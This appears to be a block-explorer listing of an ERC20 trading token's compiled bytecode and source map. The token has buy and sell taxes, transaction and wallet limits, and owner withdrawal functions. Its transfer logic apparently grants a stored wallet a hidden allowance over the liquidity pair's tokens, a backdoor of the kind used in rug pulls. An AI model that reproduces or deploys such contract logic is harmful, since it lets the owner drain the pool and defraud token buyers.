61bcd60e51b8152600401610406906117fc565b5f47116107f3575f80fd5b60405133904780156108fc02915f818181858888f1935050505015801561081c573d5f803e3d5ffd5b50565b5f6103d3338484610c63565b5f546001600160a01b031633146108545760405162461bcd60e51b8152600401610406906117fc565b601254600160a01b900460ff16156108ae5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610406565b6011546001600160a01b031663f305d71947306108df816001600160a01b03165f9081526001602052604090205490565b5f806108f25f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610958573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061097d9190611968565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109d2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109f69190611993565b506012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610a395760405162461bcd60e51b8152600401610406906117fc565b6040516370a0823160e01b81523060048201525f90610aba90606490610ab49085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610a8a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aae91906119b2565b90611366565b906113eb565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610b16573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3a9190611993565b50505050565b6001600160a01b038316610ba25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610406565b6001600160a01b038216610c035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610406565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cc75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610406565b6001600160a01b038216610d295760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610406565b5f8111610d8a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610406565b6012545f90600160b01b900460ff161580610dae5750601254600160a81b900460ff165b15610e66576001600160a01b0384165f90815260016020526040902054610dd69083906119c9565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610e059083906119dc565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e589086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610e9057505f546001600160a01b03848116911614155b156111fa576012546001600160a01b038581169116148015610ec057506011546001600160a01b03848116911614155b8015610ee457506001600160a01b0383165f9081526003602052604090205460ff16155b1561104357601254600160a01b900460ff16610f3a5760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610406565b610f606064610ab4600954600c5411610f5557600554610f59565b6007545b8590611366565b9050600d54821115610fb45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610406565b600e5482610fd6856001600160a01b03165f9081526001602052604090205490565b610fe091906119dc565b111561102e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610406565b600c8054905f61103d836119ef565b91905055505b6012546001600160a01b0384811691161480159061107957506001600160a01b0383165f9081526003602052604090205460ff16155b156110f857600e54826110a0856001600160a01b03165f9081526001602052604090205490565b6110aa91906119dc565b11156110f85760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610406565b604080518082019091526012546001600160a01b0390811682526004541660208201526111249061142c565b801561113d57506012546001600160a01b038481169116145b1561116a576111676064610ab4600a54600c541161115d57600654610f59565b6008548590611366565b90505b601254600160a81b900460ff1615801561119157506012546001600160a01b038481169116145b80156111a65750601254600160b01b900460ff165b80156111b55750600b54600c54115b156111fa57305f90815260016020526040902054600f548111156111f0576111f06111eb846111e684601054611474565b611474565b611488565b6111f86115f8565b505b801561127257305f90815260016020526040902054611219908261162e565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112699085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054611294908361168c565b6001600160a01b0385165f908152600160205260409020556112d76112b9838361168c565b6001600160a01b0385165f908152600160205260409020549061162e565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611320858561168c565b604051908152602001610e58565b5f81848411156113515760405162461bcd60e51b815260040161040691906116f9565b505f61135d84866119c9565b95945050505050565b5f825f0361137557505f6103d7565b5f6113808385611936565b90508261138d8583611a07565b146113e45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610406565b9392505050565b5f6113e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116cd565b5f600e546103e861143d9190611936565b82516001600160a01b039081165f908152600260209081526040808320968201519093168252949094529092209190915550600190565b5f81831161148257826113e4565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106114ce576114ce611a26565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611525573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611549919061194d565b8160018151811061155c5761155c611a26565b6001600160a01b0392831660209182029290920101526011546115829130911684610b40565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906115ba9085905f90869030904290600401611a3a565b5f604051808303815f87803b1580156115d1575f80fd5b505af11580156115e3573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561081c573d5f803e3d5ffd5b5f8061163a83856119dc565b9050838110156113e45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610406565b5f6113e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061132e565b5f81836116ed5760405162461bcd60e51b815260040161040691906116f9565b505f61135d8486611a07565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461081c575f80fd5b5f8060408385031215611753575f80fd5b823561175e8161172e565b946020939093013593505050565b5f6020828403121561177c575f80fd5b81356113e48161172e565b5f805f60608486031215611799575f80fd5b83356117a48161172e565b925060208401356117b48161172e565b929592945050506040919091013590565b5f80604083850312156117d6575f80fd5b82356117e18161172e565b915060208301356117f18161172e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156118805780850481111561186457611864611831565b600184161561187257908102905b60019390931c928002611849565b935093915050565b5f82611896575060016103d7565b816118a257505f6103d7565b81600181146118b857600281146118c2576118de565b60019150506103d7565b60ff8411156118d3576118d3611831565b50506001821b6103d7565b5060208310610133831016604e8410600b8410161715611901575081810a6103d7565b61190d5f198484611845565b805f190482111561192057611920611831565b029392505050565b5f6113e460ff841683611888565b80820281158282048414176103d7576103d7611831565b5f6020828403121561195d575f80fd5b81516113e48161172e565b5f805f6060848603121561197a575f80fd5b5050815160208301516040909301519094929350919050565b5f602082840312156119a3575f80fd5b815180151581146113e4575f80fd5b5f602082840312156119c2575f80fd5b5051919050565b818103818111156103d7576103d7611831565b808201808211156103d7576103d7611831565b5f60018201611a0057611a00611831565b5060010190565b5f82611a2157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611a8a5783516001600160a01b0316835260209384019390920191600101611a63565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220002a1d977907b6b1e97b7d74a8e532559ebb274b53196091df230b230f25c7ab64736f6c634300081a0033
Deployed Bytecode Sourcemap
3639:7866:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5689:83;;;;;;;;;;-1:-1:-1;5759:5:0;;;;;;;;;;;;-1:-1:-1;;;5759:5:0;;;;5689:83;;;;;;;:::i;:::-;;;;;;;;6827:161;;;;;;;;;;-1:-1:-1;6827:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6827:161:0;945:187:1;5290:393:0;;;;;;;;;;;;;:::i;:::-;;4651:46;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;4651:46:0;1137:177:1;5960:95:0;;;;;;;;;;;;;:::i;4538:47::-;;;;;;;;;;;;;;;;9998:225;;;;;;;;;;-1:-1:-1;9998:225:0;;;;;:::i;:::-;;:::i;6508:313::-;;;;;;;;;;-1:-1:-1;6508:313:0;;;;;:::i;:::-;;:::i;5871:83::-;;;;;;;;;;-1:-1:-1;5871:83:0;;4294:1;2234:36:1;;2222:2;2207:18;5871:83:0;2092:184:1;6061:119:0;;;;;;;;;;-1:-1:-1;6061:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6154:18:0;6127:7;6154:18;;;:9;:18;;;;;;;6061:119;1959:148;;;;;;;;;;;;;:::i;4484:47::-;;;;;;;;;;;;;;;;1749:79;;;;;;;;;;-1:-1:-1;1787:7:0;1814:6;1749:79;;-1:-1:-1;;;;;1814:6:0;;;2679:51:1;;2667:2;2652:18;1749:79:0;2533:203:1;5778:87:0;;;;;;;;;;-1:-1:-1;5850:7:0;;;;;;;;;;;;-1:-1:-1;;;5850:7:0;;;;5778:87;;10579:159;;;;;;;;;;;;;:::i;6186:167::-;;;;;;;;;;-1:-1:-1;6186:167:0;;;;;:::i;:::-;;:::i;4592:52::-;;;;;;;;;;;;;;;;11019:483;;;;;;;;;;;;;:::i;6359:143::-;;;;;;;;;;-1:-1:-1;6359:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6467:18:0;;;6440:7;6467:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6359:143;10744:234;;;;;;;;;;-1:-1:-1;10744:234:0;;;;;:::i;:::-;;:::i;6827:161::-;6902:4;6919:39;1412:10;6942:7;6951:6;6919:8;:39::i;:::-;-1:-1:-1;6976:4:0;6827:161;;;;;:::o;5290:393::-;1874:6;;-1:-1:-1;;;;;1874:6:0;1412:10;1874:22;1866:67;;;;-1:-1:-1;;;1866:67:0;;;;;;;:::i;:::-;;;;;;;;;5344:15:::1;:104:::0;;-1:-1:-1;;;;;;5344:104:0::1;5395:42;5344:104:::0;;::::1;::::0;;;5459:58:::1;::::0;5476:4:::1;::::0;4348:15:::1;4294:1;4348:2;:15;:::i;:::-;4337:26;::::0;:8:::1;:26;:::i;:::-;5459:8;:58::i;:::-;5562:15;;;;;;;;;-1:-1:-1::0;;;;;5562:15:0::1;-1:-1:-1::0;;;;;5562:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5544:55:0::1;;5622:4;5642:15;;;;;;;;;-1:-1:-1::0;;;;;5642:15:0::1;-1:-1:-1::0;;;;;5642:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5544:131;::::0;-1:-1:-1;;;;;;5544:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5680:32:1;;;5544:131:0::1;::::0;::::1;5662:51:1::0;5749:32;;5729:18;;;5722:60;5635:18;;5544:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5528:13;:147:::0;;-1:-1:-1;;;;;;5528:147:0::1;-1:-1:-1::0;;;;;5528:147:0;;;::::1;::::0;;;::::1;::::0;;5290:393::o;5960:95::-;6013:7;4348:15;4294:1;4348:2;:15;:::i;:::-;4337:26;;:8;:26;:::i;:::-;6033:14;;5960:95;:::o;9998:225::-;1874:6;;-1:-1:-1;;;;;1874:6:0;1412:10;1874:22;1866:67;;;;-1:-1:-1;;;1866:67:0;;;;;;;:::i;:::-;4348:15:::1;4294:1;4348:2;:15;:::i;:::-;4337:26;::::0;:8:::1;:26;:::i;:::-;10072:12;:20:::0;4348:15:::1;4294:1;4348:2;:15;:::i;:::-;4337:26;::::0;:8:::1;:26;:::i;:::-;10094:12;:20:::0;10125:8:::1;:17:::0;;-1:-1:-1;;;;;;10125:17:0::1;-1:-1:-1::0;;;;;10125:17:0;::::1;::::0;;::::1;::::0;;;-1:-1:-1;10144:21:0;;;:13:::1;:21;::::0;;;;:28;;-1:-1:-1;;10144:28:0::1;-1:-1:-1::0;10144:28:0::1;::::0;;10188:27:::1;4348:15;4294:1;-1:-1:-1::0;4348:15:0::1;:::i;:::-;4337:26;::::0;:8:::1;:26;:::i;:::-;10188:27;::::0;1283:25:1;;;1271:2;1256:18;10188:27:0::1;;;;;;;9998:225:::0;:::o;6508:313::-;6606:4;6623:36;6633:6;6641:9;6652:6;6623:9;:36::i;:::-;6670:121;6679:6;1412:10;6701:89;6739:6;6701:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6701:19:0;;;;;;:11;:19;;;;;;;;1412:10;6701:33;;;;;;;;;;:37;:89::i;6670:121::-;-1:-1:-1;6809:4:0;6508:313;;;;;:::o;1959:148::-;1874:6;;-1:-1:-1;;;;;1874:6:0;1412:10;1874:22;1866:67;;;;-1:-1:-1;;;1866:67:0;;;;;;;:::i;:::-;2066:1:::1;2050:6:::0;;2029:40:::1;::::0;-1:-1:-1;;;;;2050:6:0;;::::1;::::0;2029:40:::1;::::0;2066:1;;2029:40:::1;2097:1;2080:19:::0;;-1:-1:-1;;;;;;2080:19:0::1;::::0;;1959:148::o;10579:159::-;1874:6;;-1:-1:-1;;;;;1874:6:0;1412:10;1874:22;1866:67;;;;-1:-1:-1;;;1866:67:0;;;;;;;:::i;:::-;10664:1:::1;10640:21;:25;10632:34;;;::::0;::::1;;10677:53;::::0;1412:10;;10708:21:::1;10677:53:::0;::::1;;;::::0;::::1;::::0;;;10708:21;1412:10;10677:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10579:159::o:0;6186:167::-;6264:4;6281:42;1412:10;6305:9;6316:6;6281:9;:42::i;11019:483::-;1874:6;;-1:-1:-1;;;;;1874:6:0;1412:10;1874:22;1866:67;;;;-1:-1:-1;;;1866:67:0;;;;;;;:::i;:::-;11081:11:::1;::::0;-1:-1:-1;;;11081:11:0;::::1;;;11080:12;11072:48;;;::::0;-1:-1:-1;;;11072:48:0;;5995:2:1;11072:48:0::1;::::0;::::1;5977:21:1::0;6034:2;6014:18;;;6007:30;6073:25;6053:18;;;6046:53;6116:18;;11072:48:0::1;5793:347:1::0;11072:48:0::1;11131:15;::::0;-1:-1:-1;;;;;11131:15:0::1;:31;11170:21;11215:4;11235:24;11215:4:::0;-1:-1:-1;;;;;6154:18:0;6127:7;6154:18;;;:9;:18;;;;;;;6061:119;11235:24:::1;11274:1;11290::::0;11306:7:::1;1787::::0;1814:6;-1:-1:-1;;;;;1814:6:0;;1749:79;11306:7:::1;11131:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11131:223:0;;;-1:-1:-1;;;;;6466:32:1;;;11131:223:0::1;::::0;::::1;6448:51:1::0;6515:18;;;6508:34;;;;6558:18;;;6551:34;;;;6601:18;;;6594:34;6665:32;;;6644:19;;;6637:61;11328:15:0::1;6714:19:1::0;;;6707:35;6420:19;;11131:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11372:13:0::1;::::0;11403:15:::1;::::0;11365:71:::1;::::0;-1:-1:-1;;;11365:71:0;;-1:-1:-1;;;;;11403:15:0;;::::1;11365:71;::::0;::::1;7388:51:1::0;-1:-1:-1;;7455:18:1;;;7448:34;11372:13:0;::::1;::::0;-1:-1:-1;11365:29:0::1;::::0;7361:18:1;;11365:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11447:11:0::1;:18:::0;;-1:-1:-1;;;;11476:18:0;-1:-1:-1;;;11476:18:0;;;11019:483::o;10744:234::-;1874:6;;-1:-1:-1;;;;;1874:6:0;1412:10;1874:22;1866:67;;;;-1:-1:-1;;;1866:67:0;;;;;;;:::i;:::-;10848:41:::1;::::0;-1:-1:-1;;;10848:41:0;;10883:4:::1;10848:41;::::0;::::1;2679:51:1::0;10830:15:0::1;::::0;10848:63:::1;::::0;10907:3:::1;::::0;10848:54:::1;::::0;10894:7;;-1:-1:-1;;;;;10848:26:0;::::1;::::0;::::1;::::0;2652:18:1;;10848:41:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45:::0;::::1;:54::i;:::-;:58:::0;::::1;:63::i;:::-;10830:81:::0;-1:-1:-1;;;;;;10922:25:0;::::1;;1412:10:::0;10922:48:::1;::::0;-1:-1:-1;;;;;;10922:48:0::1;::::0;;;;;;-1:-1:-1;;;;;7406:32:1;;;10922:48:0::1;::::0;::::1;7388:51:1::0;7455:18;;;7448:34;;;7361:18;;10922:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10819:159;10744:234:::0;;:::o;6994:335::-;-1:-1:-1;;;;;7087:19:0;;7079:68;;;;-1:-1:-1;;;7079:68:0;;8212:2:1;7079:68:0;;;8194:21:1;8251:2;8231:18;;;8224:30;8290:34;8270:18;;;8263:62;-1:-1:-1;;;8341:18:1;;;8334:34;8385:19;;7079:68:0;8010:400:1;7079:68:0;-1:-1:-1;;;;;7166:21:0;;7158:68;;;;-1:-1:-1;;;7158:68:0;;8617:2:1;7158:68:0;;;8599:21:1;8656:2;8636:18;;;8629:30;8695:34;8675:18;;;8668:62;-1:-1:-1;;;8746:18:1;;;8739:32;8788:19;;7158:68:0;8415:398:1;7158:68:0;-1:-1:-1;;;;;7237:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7289:32;;1283:25:1;;;7289:32:0;;1256:18:1;7289:32:0;;;;;;;6994:335;;;:::o;7335:2191::-;-1:-1:-1;;;;;7423:18:0;;7415:68;;;;-1:-1:-1;;;7415:68:0;;9020:2:1;7415:68:0;;;9002:21:1;9059:2;9039:18;;;9032:30;9098:34;9078:18;;;9071:62;-1:-1:-1;;;9149:18:1;;;9142:35;9194:19;;7415:68:0;8818:401:1;7415:68:0;-1:-1:-1;;;;;7502:16:0;;7494:64;;;;-1:-1:-1;;;7494:64:0;;9426:2:1;7494:64:0;;;9408:21:1;9465:2;9445:18;;;9438:30;9504:34;9484:18;;;9477:62;-1:-1:-1;;;9555:18:1;;;9548:33;9598:19;;7494:64:0;9224:399:1;7494:64:0;7586:1;7577:6;:10;7569:64;;;;-1:-1:-1;;;7569:64:0;;9830:2:1;7569:64:0;;;9812:21:1;9869:2;9849:18;;;9842:30;9908:34;9888:18;;;9881:62;-1:-1:-1;;;9959:18:1;;;9952:39;10008:19;;7569:64:0;9628:405:1;7569:64:0;7679:11;;7644:17;;-1:-1:-1;;;7679:11:0;;;;7678:12;;:22;;-1:-1:-1;7694:6:0;;-1:-1:-1;;;7694:6:0;;;;7678:22;7674:217;;;-1:-1:-1;;;;;7735:15:0;;;;;;:9;:15;;;;;;:24;;7753:6;;7735:24;:::i;:::-;-1:-1:-1;;;;;7717:15:0;;;;;;;:9;:15;;;;;;:42;;;;7790:13;;;;;;;:22;;7806:6;;7790:22;:::i;:::-;-1:-1:-1;;;;;7774:13:0;;;;;;;:9;:13;;;;;;;:38;;;;7832:26;;;;;;;;;;7851:6;1283:25:1;;1271:2;1256:18;;1137:177;7832:26:0;;;;;;;;7873:7;7335:2191;;;:::o;7674:217::-;1787:7;1814:6;-1:-1:-1;;;;;7905:15:0;;;1814:6;;7905:15;;;;:32;;-1:-1:-1;1787:7:0;1814:6;-1:-1:-1;;;;;7924:13:0;;;1814:6;;7924:13;;7905:32;7901:1271;;;7966:13;;-1:-1:-1;;;;;7958:21:0;;;7966:13;;7958:21;:55;;;;-1:-1:-1;7997:15:0;;-1:-1:-1;;;;;7983:30:0;;;7997:15;;7983:30;;7958:55;:78;;;;-1:-1:-1;;;;;;8019:17:0;;;;;;:13;:17;;;;;;;;8017:19;7958:78;7954:477;;;8066:11;;-1:-1:-1;;;8066:11:0;;;;8058:44;;;;-1:-1:-1;;;8058:44:0;;10503:2:1;8058:44:0;;;10485:21:1;10542:2;10522:18;;;10515:30;-1:-1:-1;;;10561:18:1;;;10554:51;10622:18;;8058:44:0;10301:345:1;8058:44:0;8133:76;8205:3;8133:67;8155:15;;8145:9;;:25;8144:55;;8185:14;;8144:55;;;8172:12;;8144:55;8133:6;;:10;:67::i;:76::-;8121:88;;8246:12;;8236:6;:22;;8228:60;;;;-1:-1:-1;;;8228:60:0;;10853:2:1;8228:60:0;;;10835:21:1;10892:2;10872:18;;;10865:30;10931:27;10911:18;;;10904:55;10976:18;;8228:60:0;10651:349:1;8228:60:0;8341:12;;8331:6;8315:13;8325:2;-1:-1:-1;;;;;6154:18:0;6127:7;6154:18;;;:9;:18;;;;;;;6061:119;8315:13;:22;;;;:::i;:::-;:38;;8307:77;;;;-1:-1:-1;;;8307:77:0;;11207:2:1;8307:77:0;;;11189:21:1;11246:2;11226:18;;;11219:30;11285:28;11265:18;;;11258:56;11331:18;;8307:77:0;11005:350:1;8307:77:0;8403:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7954:477;8455:13;;-1:-1:-1;;;;;8449:19:0;;;8455:13;;8449:19;;;;:42;;-1:-1:-1;;;;;;8474:17:0;;;;;;:13;:17;;;;;;;;8472:19;8449:42;8445:160;;;8546:12;;8536:6;8520:13;8530:2;-1:-1:-1;;;;;6154:18:0;6127:7;6154:18;;;:9;:18;;;;;;;6061:119;8520:13;:22;;;;:::i;:::-;:38;;8512:77;;;;-1:-1:-1;;;8512:77:0;;11207:2:1;8512:77:0;;;11189:21:1;11246:2;11226:18;;;11219:30;11285:28;11265:18;;;11258:56;11331:18;;8512:77:0;11005:350:1;8512:77:0;8622:32;;;;;;;;;8629:13;;-1:-1:-1;;;;;8629:13:0;;;8622:32;;8644:8;;;8622:32;;;;;;:5;:32::i;:::-;:53;;;;-1:-1:-1;8662:13:0;;-1:-1:-1;;;;;8656:19:0;;;8662:13;;8656:19;8622:53;8619:184;;;8708:79;8783:3;8708:70;8730:16;;8720:9;;:26;8719:58;;8762:15;;8719:58;;;8748:13;;8708:6;;:10;:70::i;:79::-;8696:91;;8619:184;8822:6;;-1:-1:-1;;;8822:6:0;;;;8821:7;:30;;;;-1:-1:-1;8838:13:0;;-1:-1:-1;;;;;8832:19:0;;;8838:13;;8832:19;8821:30;:45;;;;-1:-1:-1;8855:11:0;;-1:-1:-1;;;8855:11:0;;;;8821:45;:77;;;;;8880:18;;8870:9;;:28;8821:77;8817:344;;;8968:4;8919:28;6154:18;;;:9;:18;;;;;;9017:17;;8996:38;;8993:123;;;9057:59;9066:49;9070:6;9077:37;9081:20;9102:11;;9077:3;:37::i;:::-;9066:3;:49::i;:::-;9057:8;:59::i;:::-;9135:10;:8;:10::i;:::-;8900:261;8817:344;9185:11;;9182:161;;9253:4;9235:24;;;;:9;:24;;;;;;:39;;9264:9;9235:28;:39::i;:::-;9228:4;9210:24;;;;:9;:24;;;;;;;:64;;;;9292:39;;-1:-1:-1;;;;;9292:39:0;;;;;;;9321:9;1283:25:1;;1271:2;1256:18;;1137:177;9292:39:0;;;;;;;;9182:161;-1:-1:-1;;;;;9369:15:0;;;;;;:9;:15;;;;;;:27;;9389:6;9369:19;:27::i;:::-;-1:-1:-1;;;;;9353:15:0;;;;;;:9;:15;;;;;:43;9421:40;9439:21;:6;9450:9;9439:10;:21::i;:::-;-1:-1:-1;;;;;9421:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9407:13:0;;;;;;;:9;:13;;;;;:54;;;;9477:41;;;9496:21;:6;9507:9;9496:10;:21::i;:::-;9477:41;;1283:25:1;;;1271:2;1256:18;9477:41:0;1137:177:1;519:190:0;605:7;641:12;633:6;;;;625:29;;;;-1:-1:-1;;;625:29:0;;;;;;;;:::i;:::-;-1:-1:-1;665:9:0;677:5;681:1;677;:5;:::i;:::-;665:17;519:190;-1:-1:-1;;;;;519:190:0:o;715:246::-;773:7;797:1;802;797:6;793:47;;-1:-1:-1;827:1:0;820:8;;793:47;850:9;862:5;866:1;862;:5;:::i;:::-;850:17;-1:-1:-1;895:1:0;886:5;890:1;850:17;886:5;:::i;:::-;:10;878:56;;;;-1:-1:-1;;;878:56:0;;11924:2:1;878:56:0;;;11906:21:1;11963:2;11943:18;;;11936:30;12002:34;11982:18;;;11975:62;-1:-1:-1;;;12053:18:1;;;12046:31;12094:19;;878:56:0;11722:397:1;878:56:0;952:1;715:246;-1:-1:-1;;;715:246:0:o;967:132::-;1025:7;1052:39;1056:1;1059;1052:39;;;;;;;;;;;;;;;;;:3;:39::i;10427:146::-;10483:4;10540:12;;10533:4;:19;;;;:::i;:::-;10511:8;;-1:-1:-1;;;;;10499:21:0;;;;;;;:11;10511:8;10499:21;;;;;;;10521:8;;;;10499:31;;;;;;;;;;;;:53;;;;-1:-1:-1;10527:1:0;;10427:146::o;10229:99::-;10285:7;10314:1;10312;:3;10311:9;;10319:1;10311:9;;;-1:-1:-1;10317:1:0;10229:99;-1:-1:-1;10229:99:0:o;9532:460::-;4959:6;:13;;-1:-1:-1;;;;4959:13:0;-1:-1:-1;;;4959:13:0;;;9621:16:::1;::::0;;9635:1:::1;9621:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9621:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9621:16:0::1;9597:40;;9666:4;9648;9653:1;9648:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9648:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9692:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9692:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9648:7;;9692:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9682:4;9687:1;9682:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9682:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9757:15:::1;::::0;9725:57:::1;::::0;9742:4:::1;::::0;9757:15:::1;9775:6:::0;9725:8:::1;:57::i;:::-;9793:15;::::0;:191:::1;::::0;-1:-1:-1;;;9793:191:0;;-1:-1:-1;;;;;9793:15:0;;::::1;::::0;:66:::1;::::0;:191:::1;::::0;9874:6;;9793:15:::1;::::0;9911:4;;9938::::1;::::0;9958:15:::1;::::0;9793:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4995:6:0;:14;;-1:-1:-1;;;;4995:14:0;;;-1:-1:-1;;;;9532:460:0:o;10334:87::-;10373:8;;:40;;-1:-1:-1;;;;;10373:8:0;;;;10391:21;10373:40;;;;;:8;:40;:8;:40;10391:21;10373:8;:40;;;;;;;;;;;;;;;;;;;192:179;250:7;;282:5;286:1;282;:5;:::i;:::-;270:17;;311:1;306;:6;;298:46;;;;-1:-1:-1;;;298:46:0;;13554:2:1;298:46:0;;;13536:21:1;13593:2;13573:18;;;13566:30;13632:29;13612:18;;;13605:57;13679:18;;298:46:0;13352:351:1;377:136:0;435:7;462:43;466:1;469;462:43;;;;;;;;;;;;;;;;;:3;:43::i;1105:189::-;1191:7;1226:12;1219:5;1211:28;;;;-1:-1:-1;;;1211:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1250:9:0;1262:5;1266:1;1262;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;8